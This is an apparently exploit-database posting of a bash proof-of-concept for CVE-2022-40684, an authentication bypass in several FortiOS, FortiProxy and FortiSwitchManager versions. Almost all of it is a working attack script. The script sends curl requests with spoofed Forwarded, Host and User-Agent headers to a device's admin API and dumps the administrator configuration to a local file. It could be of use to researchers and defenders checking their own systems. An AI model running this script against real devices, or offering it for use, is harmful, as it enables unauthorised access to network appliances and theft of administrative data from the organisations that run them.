FortiOS, FortiProxy, FortiSwitchManager v7.2.1 – Authentication Bypass
# Exploit Title: Fortinet Authentication Bypass v7.2.1 - (FortiOS, FortiProxy, FortiSwitchManager) # Date: 13/10/2022 # Exploit Author: Felipe Alcantara (Filiplain) # Vendor Homepage: https://www.fortinet.com/ # Version: #FortiOS from 7.2.0 to 7.2.1 #FortiOS from 7.0.0 to 7.0.6 #FortiProxy 7.2.0 #FortiProxy from 7.0.0 to 7.0.6 #FortiSwitchManager 7.2.0 #FortiSwitchManager 7.0.0 # Tested on: Kali Linux # CVE : CVE-2022-40684 # https://github.com/Filiplain/Fortinet-PoC-Auth-Bypass # Usage: ./poc.sh <ip> <port> # Example: ./poc.sh 10.10.10.120 8443 #!/bin/bash red="\e[0;31m\033[1m" blue="\e[0;34m\033[1m" yellow="\e[0;33m\033[1m" end="\033[0m\e[0m" target=$1 port=$2 vuln () { echo -e "${yellow}[+] Dumping System Information: ${end}" timeout 10 curl -s -k -X $'GET' \ -H $'Host: 127.0.0.1:9980' -H $'User-Agent: Node.js' -H $'Accept-Encoding\": gzip, deflate' -H $'Forwarded: by=\"[127.0.0.1]:80\";for=\"[127.0.0.1]:49490\";proto=http;host=' -H $'X-Forwarded-Vdom: root' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' "https://$target:$port/api/v2/cmdb/system/admin" > $target.out if [ "$?" == "0" ];then grep "results" ./$target.out >/dev/null if [ "$?" == "0" ];then echo -e "${blue}Vulnerable: Saved to file $PWD/$target.out ${end}" else rm -f ./$target.out echo -e "${red}Not Vulnerable ${end}" fi else echo -e "${red}Not Vulnerable ${end}" rm -f ./$target.out fi } vuln |